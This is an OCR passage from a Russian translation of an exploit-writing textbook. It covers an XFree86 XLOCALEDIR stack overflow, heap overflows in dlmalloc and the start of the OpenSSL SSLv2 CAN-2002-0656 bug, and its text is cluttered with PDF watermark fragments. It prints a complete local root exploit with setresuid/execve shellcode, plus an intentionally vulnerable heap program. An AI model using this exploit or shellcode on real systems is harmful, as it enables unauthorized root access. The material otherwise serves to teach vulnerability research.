Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Пример: переполнение XLOCALEDIR в X11R6 4.2 541

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

-xchненияa

XLOCALEDIR было записано 7000 букв 'A'. Так что именно часть это-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

го буфера и наложилась на регистр EIP. Зная, что есть возможность переписать и указатель фрейма стека, и счетчик команд, а получив необходимый для этого размер буфера, мы можем с большой долей уверенности предположить, что эксплойт возможен.

Найти содержащие ошибку строки в файле xc/lib/X11/lcFile.c несложно:

static void xlocaledir(char *buf, int buf_len)

{

char *dir, *p = buf; int len = 0;

dir = getenv("XLOCALEDIR"); if (dir != NULL) {

len = strlen(buf); strncpy(p, dir, buf_len);

}

}

Уязвимость возникает из-за того, что при вызове функции xlocaledir строка dir (возвращаемая функцией getenv) может оказаться длиннее, чем размер буфера buf_len.

Эксплойт

Следующий эксплойт направлен против уязвимости в дистрибутиве XFree86 4.3, существующей во многих системах Linux и проявляющейся при запуске таких программ, как xlock, xscreensaver и xterm.

1 /*

2Оригинальный эксплойт:

3** oC-localX.c – XFree86 Version 4.2.x local root exploit

4 ** By dcrypt && tarranta / oC

5

6Этот эксплойт является модифицированной версией oC-localX.c,

7 работает без смещения.

8

9В некоторых дистрибутивах есть файл: /usr/X11R6/bin/dga +s

10Для этой программы такой эксплойт работать не будет, поскольку

11она отказывается от привилегий root перед тем, как запускать

12функцию из библиотеки Xlib, подверженную данному переполнению.

13Эксплойт работает во всех дистрибутивах Linux x86.

14

15Тестировался для:

16– Slackware 8.1 (xlock, xscreensaver, xterm)

17– Redhat 7.3 (после ручного добавления +s к xlock)

18 – Suse 8.1 (после ручного добавления +s к xlock)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

542 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

19

20Автор: Inode <inode@mediaservice.net>

21*/

22

23 #include <stdio.h>

24 #include <stdlib.h>

25 #include <string.h>

26 #include <unistd.h>

27

28 static char shellcode[] =

29

30/* setresuid(0,0,0); */

31"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"

32/* /bin/sh execve(); */

33"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"

34"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

35/* exit(0); */

36"\x31\xdb\x89\xb0\x01\xcd\x80";

37

38 #define ALIGN 0

39

40 int main(int argc, char **argv)

41{

42char buffer[6000];

43int i;

44int ret;

45char *env[3] = {buffer, shellcode, NULL};

47 int *ap;

48

49 strcpy(buffer, "XLOCALEDIR=");

50

51 printf("\nXFree86 4.2.x Exploit modified by Inode " "<inode@mediaservice.net>\n\n");

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

52if (argc != 3)

53{

54printf(" Usage: %s <full path> <name>\n", argv[0]);

55printf("\n Example: %s /usr/X11R6/bin/xlock xlock\n\n", argv[0]);

56return 1;

57}

58

59 ret = 0xbffffffa – strlen(shellcode) – strlen(argv[1]);

60

61 ap = (int *)( buffer + ALIGN + strlen(buffer) );

62

63for (i = 0; i < sizeof(buffer); i += 4)

64*ap++ = ret;

65

66 execle(argv[1], argv[2], NULL, env);

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

d

 

 

xch67

 

 

 

 

 

 

 

f-

 

an

 

 

 

 

68return(0);

69}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Пример: переполнение XLOCALEDIR в X11R6 4.2 543

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Shell-код находится в строках 30–36. Он выполняется после злонамеренного переполнения буфера и запускает для атакующего оболочку с привилегиями root. Для этого сначала системный вызов setresuid устанавливает привилегии, а затем execve запускает /bin/sh.

Вывод

Уязвимости часто можно найти в библиотеках, используемых сразу во многих приложениях. Если удастся найти такую ошибку, то вы сразу получаете в свое распоряжение массу возможных вариантов действий; если в конкретной системе не окажется одного приложения, что ж – можно атаковать другое. С течением времени такие уязвимости будут обнаруживать и эксплуатировать все чаще. В нашем случае ошибка в библиотеке скомпрометировала несколько привилегированных приложений во многих дистрибутивах Linux. Ошибка в библиотеке OpenSSL поставила под угрозу ряд использующих ее приложений, в том числе Apache и stunnel.

Поиск переполнений стека в программах с недоступными исходными текстами

Поиск любого вида уязвимостей, пригодных для написания эксплойта, в программах с недоступными исходными текстами сродни черной магии. По сравнению с другими областями информационной безопасности эта тема очень плохо документирована. Здесь применяется целый набор разнообразных приемов. К числу полезных инструментов относятся дизассемблеры, отладчики, трассировщики (tracer) и генераторы случайных данных (fuzzer). При этом дизассемблеры и отладчики намного полезнее трассировщиков и генераторов данных. Дизассемблер восстанавливает исходный ассемблерный код, а отладчик позволяет интерактивно проходить программу по шагам, а также просматривать и изменять память и выполнять другие функции. Самым лучшим дизассемблером является IDA. Недавно в него были добавлены некоторые возможности отладчиков, хотя SoftICE (только для Win32) и gdb в этом качестве гораздо мощнее. Трассировщик – это не более чем автоматизированный отладчик, позволяющий исполнять приложение в пошаговом режиме с минимальным участием пользователя. Генератор случайных данных – это часто применяемый, но довольно слабый способ тестирования сродни низкокачественному методу грубой силы.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

544 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Примечание

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Генераторы случайных данных – это попытка применить автомати зированный подход к поиску новых ошибок в программном обеспе чении. Они посылают на вход приложения неожиданные данные. На пример, такой генератор может 500 000 раз попытаться соединиться с FTP сервером, используя имена и пароли случайной длины – как короткие, так и аномально длинные. Потенциально генератор может пробовать неограниченное число комбинаций, пока сервер не вер нет аномальный ответ. Одновременно можно наблюдать за работой FTP сервера с помощью трассировщика, оценивая, как он обраба тывал различные входные данные. Такой подход на практике работа ет только для приложений, за которыми никто не следит.

Генераторы случайных данных могут делать и больше, чем простая отправка 8000 букв «A» на вход процедуры аутентификации, но, к со жалению, ненамного. Они идеальны для быстрой проверки на нали чие типичных, легко обнаруживаемых ошибок (только сначала нужно написать для исследуемого приложения достаточно полный генера тор), но не более того. Самым многообещающим из разрабатывае мых общедоступных генераторов случайных данных является SPIKE.

Эксплойты для затирания кучи

Куча – это область, из которой приложение выделяет память динамически, во время выполнения (рис. 11.5). Часто переполняются буферы, память для которых выделена из кучи, и эксплойты для таких ошибок пишутся иначе, чем для переполнений буфера в стеке. Начиная с 2000 года переполнение буфера в куче стало одним из самых перспективных «месторождений» ошибок. В отличие от переполнения стека, такие ошибки плохо воспроизводимы, и для их эксплуатации применяются различные приемы. В этом разделе мы посмотрим, как приложение может испортить память в куче, как можно написать эксплойт для таких ошибок и как избежать их.

Приложение выделяет память из кучи по мере необходимости. Для этого применяется функция malloc(). Ей передается число требуемых байтов, а возвращает она указатель на выделенную область памяти. Порядок обращения к malloc() показан ниже:

#include <stdio.h>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xch

 

n

e

 

 

 

 

 

a

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Эксплойты для затирания кучи 545

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис. 11.5. Схема организации памяти

int main(void)

{

char *buffer;

buffer = malloc(1024);

}

Здесь приложение запрашивает из кучи 1024 байта, и malloc() возвращает указатель на выделенную область памяти. Алгоритм управления кучей в разных операционных системах различен. Например, в Linux применяется реализация, придуманная Дугом Леа (Doug Lea Malloc), а в Solaris – реализация, заимствованная из System V. Именно в алгоритме динамического распределения и освобождения памяти и кроется причина большинства уязвимостей. Мы рассмотрим наиболее часто атакуемые реализации malloc() Äóãà Ëåà è System V AT&T.

Реализация Дуга Леа

Алгоритм «Doug Lea Malloc» (dlmalloc) используется практически во всех системах Linux. Его реализация позволяет без труда написать эксплойт, если обнаружена ошибка затирания кучи. Вся куча в этом алгоритме организована в виде набора блоков (chunk). Блок содержит информацию, позволяющую dlmalloc эффективно выделять и освобождать память. На рис. 11.6 показано, как выглядит куча с точки зрения dlmalloc.

Рис. 11.6. Блок кучи с точки зрения dlmalloc.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

546 Глава 11. Написание эксплойтов II

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 ïîëå prev_size хранится размер предыдущего блока, но лишь в том случае,-x cha

 

 

 

 

 

когда предыдущий блок не распределен. Если же предыдущий блок распределен, то в этом поле хранятся данные, чтобы не тратить зря четыре байта.

 ïîëå size хранится длина текущего распределенного блока. Отметим, что при вызове malloc() к запрошенному числу байтов прибавляется 4, и затем результат округляется до ближайшей границы двойного слова. Например, если программа вызвала malloc(9), то будет выделено 16 байтов. Из-за такого округления младшие три бита длины блока всегда равны 0. Чтобы они не пропадали зря, dlmalloc хранит в них битовые атрибуты распределенного блока. С точки зрения эксплойта, самым интересным является младший бит. Он называется PREV_INUSE и говорит о том, распределен или нет предыдущий блок.

Наконец, поле data – это как раз та область памяти, на которую malloc() возвращает указатель. В нее копируются данные, и именно она доступна приложению, например, с помощью функций memset() è memcpy().

Когда память освобождается функцией free(), блоки реорганизуются. dlmalloc сначала проверяет, свободны ли соседние блоки. Если это так, то свободные и только что освобожденный блок объединяются в один более крупный блок свободной памяти. После того как для некоторого блока выполнена функция free(), его структура становится такой, как на рис. 11.7.

Рис. 11.7. Освобожденный блок в алгоритме dlmalloc

Первые восемь байтов освобожденного блока заменяются двумя указателями, которые называются fd (forward) и bk (backward). fd указывает на последующий, а bk на предыдущий элемент в двусвязном списке свободных блоков. При каждом вызове free() проверяется, нельзя ли объединить вновь освобожденный блок с каким-нибудь свободным. Область, помеченная «неиспользуемая память», – это ранее выделенная в составе данного блока память. Когда блок освобожден, она не принадлежит никому.

Внутренне присущая реализации dlmalloc проблема состоит в том, что управляющая информация хранится в той же области, что и данные. Что

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Эксплойты для затирания кучи 547

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

-xchпроизойдет,a

если программа запишет данные за пределами выделенного бло-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ка и затрет следующий блок, в том числе и находящуюся в нем управляющую информацию?

Когда блок памяти освобождается функцией free(), вызывается внутренняя функция chunk_free(), выполняющая некоторые проверки. Прежде всего, она смотрит, не граничит ли освобождаемый блок с самым первым блоком. Если да, то эти два блока объединяются. Далее, если блок, предшествующий освобождаемому, помечен признаком «не используется», то предыдущий блок исключается из списка свободных и объединяется с освобождаемым. В примере 11.4 показана уязвимая программа, в которой используется dlmalloc.

Пример 11.4. Пример уязвимой программы

1 #include <stdio.h>

2 int main(int argc, char **argv)

3 {

4char *p1;

5 char *p2;

6

7p1 = malloc(1024);

8 p2 = malloc(512);

9

10 strcpy(p1, argv[1]);

11

12free(p1);

13free(p2);

15exit(0);

16}

Анализ

В этой программе ошибка допущена в строке 10. Функция strcpy вызывается без проверки на выход за границы буфера p1. Переменная p1 указывает на выделенную из кучи память размером 1024 байта. Если программа запишет в нее больше 1024 байтов, то будет затерт следующий блок (p2) и, в частности, хранящаяся в нем управляющая информация. Как видно из рис. 11.8, эти два блока являются смежными.

Если буфер p1 переполняется, то затираются поля prev_size, size è data в блоке p2. Этой уязвимостью можно воспользоваться, сконструировав специальный блок, содержащий такие значения указателей fd è bk, которые позволят нам контролировать связанный список. Сначала проверяется, граничит ли переполнившийся блок с самым первым. Если это так, вызывается макрос unlink, показанный ниже.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

548 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

cha

 

 

 

 

Рис. 11.8. Расположение блоков в памяти

#define FD *(next->fd + 12) #define BK *(next->fd + 8) #define P (next)

#define unlink(P, BK, FD)

{

BK = P->bk; \

FD = P->fd; \

FD->bk = BK; \

BK->fd = FD; \

}

Поскольку мы управляем значениями указателей bk и fd, то при освобождении блока сможем заставить программу выполнить нужные нам манипуляции. Для написания эксплойта необходимо подготовить блок специальным образом. Требуется, чтобы в поле size младший бит был равен 0 (признак PREV_INUSE отключен), а значения prev_size è size были настолько малы, чтобы при добавлении к указателю не вызвать ошибку нарушения защиты памяти. Вычисляя значения fd и bk, не забудьте вычесть 12 из адреса, содержимое которого собираетесь переписать (взгляните на определение FD). На рис. 11.9 показано, как должен выглядеть сконструированный блок.

Рис. 11.9. Специально сконструированный блок

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Пример: уязвимость, связанная с переполнением буфера 549

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

Также следует помнить, что по адресу bk + 8 будет записано значение «ме-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стоположения адреса возврата – 12». Если по этому адресу разместить shellкод, то по «адресу возврата» должна находиться команда перехода, которая обойдет бессмысленную команду, расположенную по «адресу возврата + 8». Обычно употребляется команда jmp 10 и заполнение пустыми командами nop. После того как произойдет переполнение в сконструированном нами блоке, память будет выглядеть так, как показано на рис. 11.10.

Рис. 11.10. После переполнения

После второго обращения к функции free() к программе из примера 11.4, затертый блок исключается из списка и происходит разыменование указателя. Если по адресу, хранящемуся в указателе bk, размещен shell-код, то он будет выполнен.

Пример: уязвимость, связанная с переполнением буфера из за неправильно сформированного клиентского ключа в OpenSSL SSLv2, CAN 2002 0656

В библиотеке OpenSSL версии 2 имеется ошибка, связанная с процедурой обмена ключами. Она затрагивает множество машин по всему миру, поэтому ее анализ и написание соответствующего эксплойта имеют высокий приори-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

550 Глава 11. Написание эксплойтов II

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

тет. Уязвимость возникает потому, что пользователю разрешено модифици--x cha

 

 

 

 

 

ровать переменную size, передаваемую функции копирования памяти. Задав произвольный размер, можно заставить программу скопировать слишком много данных и тем самым переполнить буфер-приемник. Этот буфер выделен из кучи и, следовательно, для уязвимости можно написать эксплойт.

Описание уязвимости

Ошибка допущена в следующей строке в библиотеке OpenSSL:

memcpy(s->session_key_arg, &(p[s->s2->tmp.clear + s->s2->tmp.enc]), (unsigned int) keya);

Пользователь может сконструировать специальный пакет, содержащий главный ключ, который определяет значение keya. Если задать достаточно большое значение, то по адресу s->session_key_arg будет записано больше данных, чем ожидается. В действительности key_arg указывает на массив из 8 байтов в структуре типа SSL_SESSION, выделенной из кучи.

Описание эксплойта

Поскольку уязвимость связана с кучей, эксплойт может и не работать на разных платформах. Тем не менее представленный ниже вариант работает на многих платформах и не зависит от специфичных для конкретной ОС методов распределения памяти. Мы затрем все поля в структуре SSL_SESSION, на которую указывает key_arg. Эта структура определена следующим образом:

1 typedef struct ssl_session_st

2 {

3int ssl_version;

4 unsigned int key_arg_length;

5

6 unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];

7

8int master_key_length;

9unsigned int session_id_length;

10unsigned char session_id[SSL_MAX_SESSION_ID_LENGTH];

11unsigned int sid_ctx_length;

12unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];

14int not_resumable;

15struct sess_cert_st /* SESS_CERT */ *sess_cert;

16X509 *peer;

17long verify_result; /* только для серверов */

18int references;

19long timeout;